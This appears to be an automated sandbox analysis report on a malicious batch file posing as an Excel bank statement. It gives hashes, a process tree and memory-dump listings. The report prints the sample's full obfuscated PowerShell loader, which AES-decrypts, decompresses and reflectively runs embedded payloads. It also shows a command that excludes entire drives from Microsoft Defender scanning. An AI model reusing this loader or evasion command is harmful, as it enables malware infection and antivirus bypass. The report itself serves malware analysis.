0318fe2580ee49d1d554d04861bf1993dcd36847baa7006b1dd6d6f3df6993e9

Analysis

max time kernel
144s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 15:33

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General

Target

56419_Ekstre_22012202.XLSX.bat
Size

551KB
MD5

93ffa97cac3aee1759f1263417ba68c4
SHA1

f987f902cb03fd968640e30e5ce02aa3d686559b
SHA256

0318fe2580ee49d1d554d04861bf1993dcd36847baa7006b1dd6d6f3df6993e9
SHA512

33db2fc6d11757105824d3a33b626930baef58d002124a4cd8ad8e26fd5ee64fa760348abcadce1aca7fab9593c3e381627a49ae97541f54134e9f7a2c843207
SSDEEP

12288:YjfWxwAqoJ6gq9xDB2M4B5u2EJ52JWLCKszzUtakIjW0pibC4QMCiYRhfwvz7:A/Aqec9xDBfZXTLCVztpd45CtRhQz7

Score

3^/10

Malware Config

Signatures

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3516	1368	WerFault.exe	90

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1368	powershell.exe
1368	powershell.exe
1088	powershell.exe
1088	powershell.exe
1400	powershell.exe
1400	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4840 wrote to memory of 1532	4840	cmd.exe	87
PID 4840 wrote to memory of 1532	4840	cmd.exe	87
PID 1532 wrote to memory of 4976	1532	cmd.exe	89
PID 1532 wrote to memory of 4976	1532	cmd.exe	89
PID 1532 wrote to memory of 1368	1532	cmd.exe	90
PID 1532 wrote to memory of 1368	1532	cmd.exe	90
PID 1532 wrote to memory of 1368	1532	cmd.exe	90
PID 1368 wrote to memory of 1088	1368	powershell.exe	93
PID 1368 wrote to memory of 1088	1368	powershell.exe	93
PID 1368 wrote to memory of 1088	1368	powershell.exe	93
PID 1368 wrote to memory of 1400	1368	powershell.exe	99
PID 1368 wrote to memory of 1400	1368	powershell.exe	99
PID 1368 wrote to memory of 1400	1368	powershell.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\56419_Ekstre_22012202.XLSX.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\56419_Ekstre_22012202.XLSX.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\56419_Ekstre_22012202.XLSX.bat';$ZnXf='LosUlIadsUlI'.Replace('sUlI', ''),'CoYoykpyTYoykoYoyk'.Replace('Yoyk', ''),'InvKVvhokKVvheKVvh'.Replace('KVvh', ''),'ReaHzYUdLHzYUinHzYUesHzYU'.Replace('HzYU', ''),'GRhkEetRhkECuRhkErreRhkEntRhkEPRhkErocRhkEesRhkEsRhkE'.Replace('RhkE', ''),'DWyqDecWyqDoWyqDmpWyqDrWyqDesWyqDsWyqD'.Replace('WyqD', ''),'ChaaxiungaxiueaxiuExtaxiuensaxiuionaxiu'.Replace('axiu', ''),'FSUITroSUITmBaSUITseSUIT64SUITSSUITtrSUITingSUIT'.Replace('SUIT', ''),'ElIthAemeIthAnIthAtAIthAtIthA'.Replace('IthA', ''),'CuhKsruhKseuhKsateuhKsDeuhKscruhKsypuhKstuhKsoruhKs'.Replace('uhKs', ''),'SSGjzplSGjzitSGjz'.Replace('SGjz', ''),'EnylxutylxurylxuyPylxuoylxuiylxuntylxu'.Replace('ylxu', ''),'TUGbIraUGbInsUGbIfoUGbIrmUGbIFinUGbIalBUGbIloUGbIcUGbIkUGbI'.Replace('UGbI', ''),'MaiLJmhnMLJmhodLJmhuleLJmh'.Replace('LJmh', '');powershell -w hidden;function zVqiZ($ADZsr){$phgKT=[System.Security.Cryptography.Aes]::Create();$phgKT.Mode=[System.Security.Cryptography.CipherMode]::CBC;$phgKT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$phgKT.Key=[System.Convert]::($ZnXf[7])('LLFztVl9QVwnRpd+WQrk03Mcs5Q/zcS7jOTtyEQLFsQ=');$phgKT.IV=[System.Convert]::($ZnXf[7])('8oDwRwNSJIxTBzexHnRKYg==');$bWWBv=$phgKT.($ZnXf[9])();$XGurB=$bWWBv.($ZnXf[12])($ADZsr,0,$ADZsr.Length);$bWWBv.Dispose();$phgKT.Dispose();$XGurB;}function SfJcX($ADZsr){$zxrJb=New-Object System.IO.MemoryStream(,$ADZsr);$mKrBy=New-Object System.IO.MemoryStream;$fRiUi=New-Object System.IO.Compression.GZipStream($zxrJb,[IO.Compression.CompressionMode]::($ZnXf[5]));$fRiUi.($ZnXf[1])($mKrBy);$fRiUi.Dispose();$zxrJb.Dispose();$mKrBy.Dispose();$mKrBy.ToArray();}$zWOlL=[System.IO.File]::($ZnXf[3])([Console]::Title);$dsCLJ=SfJcX (zVqiZ ([Convert]::($ZnXf[7])([System.Linq.Enumerable]::($ZnXf[8])($zWOlL, 5).Substring(2))));$jcGog=SfJcX (zVqiZ ([Convert]::($ZnXf[7])([System.Linq.Enumerable]::($ZnXf[8])($zWOlL, 6).Substring(2))));[System.Reflection.Assembly]::($ZnXf[0])([byte[]]$jcGog).($ZnXf[11]).($ZnXf[2])($null,$null);[System.Reflection.Assembly]::($ZnXf[0])([byte[]]$dsCLJ).($ZnXf[11]).($ZnXf[2])($null,$null); "
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1088
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1400
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 2620
      4⤵
      Program crash
      PID:3516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1368 -ip 1368
1⤵
PID:3748

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
928d36ad618a369ffebf44885d07cf81

SHA1
edf5a353a919c1873af8e6a0dfafa4c38c626975

SHA256
d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

SHA512
4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbtmr4qv.erc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1088-25-0x0000000002C80000-0x0000000002C90000-memory.dmp

Filesize
64KB

Download
memory/1088-26-0x0000000002C80000-0x0000000002C90000-memory.dmp

Filesize
64KB

Download
memory/1088-24-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1088-38-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1368-2-0x0000000004D20000-0x0000000004D30000-memory.dmp

Filesize
64KB

Download
memory/1368-22-0x0000000007B70000-0x00000000081EA000-memory.dmp

Filesize
6.5MB

Download
memory/1368-83-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/1368-4-0x0000000005360000-0x0000000005988000-memory.dmp

Filesize
6.2MB

Download
memory/1368-5-0x00000000052B0000-0x00000000052D2000-memory.dmp

Filesize
136KB

Download
memory/1368-6-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/1368-7-0x0000000005BF0000-0x0000000005C56000-memory.dmp

Filesize
408KB

Download
memory/1368-13-0x0000000005C60000-0x0000000005FB4000-memory.dmp

Filesize
3.3MB

Download
memory/1368-18-0x0000000006190000-0x00000000061AE000-memory.dmp

Filesize
120KB

Download
memory/1368-19-0x00000000061C0000-0x000000000620C000-memory.dmp

Filesize
304KB

Download
memory/1368-20-0x00000000066E0000-0x0000000006724000-memory.dmp

Filesize
272KB

Download
memory/1368-21-0x0000000007470000-0x00000000074E6000-memory.dmp

Filesize
472KB

Download
memory/1368-23-0x0000000007510000-0x000000000752A000-memory.dmp

Filesize
104KB

Download
memory/1368-3-0x0000000004D20000-0x0000000004D30000-memory.dmp

Filesize
64KB

Download
memory/1368-39-0x0000000002830000-0x000000000283A000-memory.dmp

Filesize
40KB

Download
memory/1368-41-0x0000000077171000-0x0000000077291000-memory.dmp

Filesize
1.1MB

Download
memory/1368-42-0x0000000007910000-0x000000000797A000-memory.dmp

Filesize
424KB

Download
memory/1368-1-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1368-0-0x0000000004CA0000-0x0000000004CD6000-memory.dmp

Filesize
216KB

Download
memory/1368-90-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1368-88-0x0000000004D20000-0x0000000004D30000-memory.dmp

Filesize
64KB

Download
memory/1368-87-0x0000000009540000-0x000000000988A000-memory.dmp

Filesize
3.3MB

Download
memory/1368-86-0x0000000004D20000-0x0000000004D30000-memory.dmp

Filesize
64KB

Download
memory/1368-85-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/1368-84-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/1368-82-0x00000000075E0000-0x00000000075EC000-memory.dmp

Filesize
48KB

Download
memory/1368-69-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1400-46-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/1400-73-0x00000000076E0000-0x00000000076EA000-memory.dmp

Filesize
40KB

Download
memory/1400-58-0x00000000704F0000-0x000000007053C000-memory.dmp

Filesize
304KB

Download
memory/1400-74-0x00000000078F0000-0x0000000007986000-memory.dmp

Filesize
600KB

Download
memory/1400-75-0x0000000007870000-0x0000000007881000-memory.dmp

Filesize
68KB

Download
memory/1400-76-0x00000000078A0000-0x00000000078AE000-memory.dmp

Filesize
56KB

Download
memory/1400-77-0x00000000078B0000-0x00000000078C4000-memory.dmp

Filesize
80KB

Download
memory/1400-79-0x0000000007990000-0x0000000007998000-memory.dmp

Filesize
32KB

Download
memory/1400-78-0x00000000079B0000-0x00000000079CA000-memory.dmp

Filesize
104KB

Download
memory/1400-68-0x00000000074E0000-0x00000000074FE000-memory.dmp

Filesize
120KB

Download
memory/1400-70-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/1400-72-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/1400-81-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1400-71-0x0000000007540000-0x00000000075E3000-memory.dmp

Filesize
652KB

Download
memory/1400-57-0x0000000007500000-0x0000000007532000-memory.dmp

Filesize
200KB

Download
memory/1400-56-0x000000007EE20000-0x000000007EE30000-memory.dmp

Filesize
64KB

Download
memory/1400-44-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/1400-45-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download